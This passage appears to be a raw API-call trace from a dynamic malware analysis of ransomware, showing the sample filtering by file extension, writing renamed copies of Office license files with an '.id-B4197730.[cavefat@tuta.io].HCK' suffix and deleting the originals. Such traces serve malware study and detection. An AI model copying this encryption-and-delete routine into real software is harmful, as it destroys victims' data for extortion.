(lpString=".docx") returned 5 [0242.632] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.632] lstrlenW (lpString=".pdf") returned 4 [0242.632] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString=".xls") returned 4 [0242.632] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString=".xlsx") returned 5 [0242.632] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.632] lstrlenW (lpString=".ppt") returned 4 [0242.632] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0242.632] lstrlenW (lpString=".zip") returned 4 [0242.632] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString=".rar") returned 4 [0242.632] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString=".bz2") returned 4 [0242.632] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString=".7z") returned 3 [0242.632] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0242.632] lstrlenW (lpString=".dbf") returned 4 [0242.632] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0242.632] lstrlenW (lpString=".1cd") returned 4 [0242.632] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75 [0242.633] lstrlenW (lpString=".jpg") returned 4 [0242.633] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.633] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.633] lstrlenW (lpString="MondoVL_MAK-ppd.xrm-ms") returned 22 [0242.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0242.863] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=12414) returned 1 [0242.863] CloseHandle (hObject=0x3bc) returned 1 [0242.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 0x220 [0242.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.346] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.346] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0243.370] GetLastError () returned 0x0 [0243.379] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x307e, lpOverlapped=0x0) returned 1 [0243.381] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x3080, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3080, lpOverlapped=0x0) returned 1 [0243.382] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.382] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x100, lpOverlapped=0x0) returned 1 [0243.382] SetEndOfFile (hFile=0x340) returned 1 [0243.382] CloseHandle (hObject=0x340) returned 1 [0243.382] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.382] SetEndOfFile (hFile=0x558) returned 1 [0243.384] CloseHandle (hObject=0x558) returned 1 [0243.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ppd.xrm-ms")) returned 1 [0243.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0243.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0243.385] lstrlenW (lpString=".doc") returned 4 [0243.385] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.385] lstrlenW (lpString=".docx") returned 5 [0243.385] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.385] lstrlenW (lpString=".pdf") returned 4 [0243.385] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.385] lstrlenW (lpString=".xls") returned 4 [0243.385] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString=".xlsx") returned 5 [0243.386] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.386] lstrlenW (lpString=".ppt") returned 4 [0243.386] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0243.386] lstrlenW (lpString=".zip") returned 4 [0243.386] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString=".rar") returned 4 [0243.386] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString=".bz2") returned 4 [0243.386] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString=".7z") returned 3 [0243.386] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0243.386] lstrlenW (lpString=".dbf") returned 4 [0243.386] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0243.386] lstrlenW (lpString=".1cd") returned 4 [0243.386] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0243.386] lstrlenW (lpString=".jpg") returned 4 [0243.386] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0243.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0243.386] lstrlenW (lpString=".doc") returned 4 [0243.386] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString=".docx") returned 5 [0243.386] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.386] lstrlenW (lpString=".pdf") returned 4 [0243.386] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString=".xls") returned 4 [0243.386] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString=".xlsx") returned 5 [0243.386] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.386] lstrlenW (lpString=".ppt") returned 4 [0243.386] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0243.386] lstrlenW (lpString=".zip") returned 4 [0243.386] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString=".rar") returned 4 [0243.386] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString=".bz2") returned 4 [0243.386] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString=".7z") returned 3 [0243.386] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0243.386] lstrlenW (lpString=".dbf") returned 4 [0243.386] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0243.386] lstrlenW (lpString=".1cd") returned 4 [0243.386] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ppd.xrm-ms") returned 72 [0243.387] lstrlenW (lpString=".jpg") returned 4 [0243.387] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.387] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.387] lstrlenW (lpString="O365BusinessR_SubTest-ppd.xrm-ms") returned 32 [0243.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.387] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=22465) returned 1 [0243.388] CloseHandle (hObject=0x558) returned 1 [0243.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 0x220 [0243.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.388] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.388] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0243.389] GetLastError () returned 0x0 [0243.389] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x57c1, lpOverlapped=0x0) returned 1 [0243.391] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x57d0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x57d0, lpOverlapped=0x0) returned 1 [0243.392] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.392] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x114, lpOverlapped=0x0) returned 1 [0243.392] SetEndOfFile (hFile=0x340) returned 1 [0243.392] CloseHandle (hObject=0x340) returned 1 [0243.392] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.392] SetEndOfFile (hFile=0x558) returned 1 [0243.395] CloseHandle (hObject=0x558) returned 1 [0243.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ppd.xrm-ms")) returned 1 [0243.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0243.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0243.396] lstrlenW (lpString=".doc") returned 4 [0243.396] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.396] lstrlenW (lpString=".docx") returned 5 [0243.396] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.396] lstrlenW (lpString=".pdf") returned 4 [0243.396] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.396] lstrlenW (lpString=".xls") returned 4 [0243.396] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.396] lstrlenW (lpString=".xlsx") returned 5 [0243.396] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.396] lstrlenW (lpString=".ppt") returned 4 [0243.396] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0243.396] lstrlenW (lpString=".zip") returned 4 [0243.396] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.396] lstrlenW (lpString=".rar") returned 4 [0243.396] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.396] lstrlenW (lpString=".bz2") returned 4 [0243.396] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.396] lstrlenW (lpString=".7z") returned 3 [0243.396] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0243.396] lstrlenW (lpString=".dbf") returned 4 [0243.396] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0243.396] lstrlenW (lpString=".1cd") returned 4 [0243.396] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0243.396] lstrlenW (lpString=".jpg") returned 4 [0243.396] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0243.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0243.397] lstrlenW (lpString=".doc") returned 4 [0243.397] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.397] lstrlenW (lpString=".docx") returned 5 [0243.397] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.397] lstrlenW (lpString=".pdf") returned 4 [0243.397] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.397] lstrlenW (lpString=".xls") returned 4 [0243.397] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.397] lstrlenW (lpString=".xlsx") returned 5 [0243.397] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.397] lstrlenW (lpString=".ppt") returned 4 [0243.397] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0243.397] lstrlenW (lpString=".zip") returned 4 [0243.397] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.397] lstrlenW (lpString=".rar") returned 4 [0243.397] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.397] lstrlenW (lpString=".bz2") returned 4 [0243.397] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.397] lstrlenW (lpString=".7z") returned 3 [0243.397] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0243.397] lstrlenW (lpString=".dbf") returned 4 [0243.397] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0243.397] lstrlenW (lpString=".1cd") returned 4 [0243.397] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ppd.xrm-ms") returned 82 [0243.397] lstrlenW (lpString=".jpg") returned 4 [0243.397] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.397] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.397] lstrlenW (lpString="O365BusinessR_SubTest-ul-oob.xrm-ms") returned 35 [0243.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.398] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11626) returned 1 [0243.398] CloseHandle (hObject=0x558) returned 1 [0243.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 0x220 [0243.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.399] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.399] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0243.400] GetLastError () returned 0x0 [0243.400] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d6a, lpOverlapped=0x0) returned 1 [0243.401] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0243.402] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.402] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11a, lpOverlapped=0x0) returned 1 [0243.403] SetEndOfFile (hFile=0x340) returned 1 [0243.403] CloseHandle (hObject=0x340) returned 1 [0243.403] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.403] SetEndOfFile (hFile=0x558) returned 1 [0243.405] CloseHandle (hObject=0x558) returned 1 [0243.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtest-ul-oob.xrm-ms")) returned 1 [0243.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0243.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0243.406] lstrlenW (lpString=".doc") returned 4 [0243.406] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.406] lstrlenW (lpString=".docx") returned 5 [0243.406] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.406] lstrlenW (lpString=".pdf") returned 4 [0243.406] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.406] lstrlenW (lpString=".xls") returned 4 [0243.406] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.406] lstrlenW (lpString=".xlsx") returned 5 [0243.406] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.406] lstrlenW (lpString=".ppt") returned 4 [0243.406] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0243.406] lstrlenW (lpString=".zip") returned 4 [0243.406] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.406] lstrlenW (lpString=".rar") returned 4 [0243.406] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.406] lstrlenW (lpString=".bz2") returned 4 [0243.406] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.406] lstrlenW (lpString=".7z") returned 3 [0243.406] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0243.406] lstrlenW (lpString=".dbf") returned 4 [0243.407] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0243.407] lstrlenW (lpString=".1cd") returned 4 [0243.407] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTest-ul-oob.xrm-ms") returned 85 [0243.407] lstrlenW (lpString=".jpg") returned 4 [0243.407] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 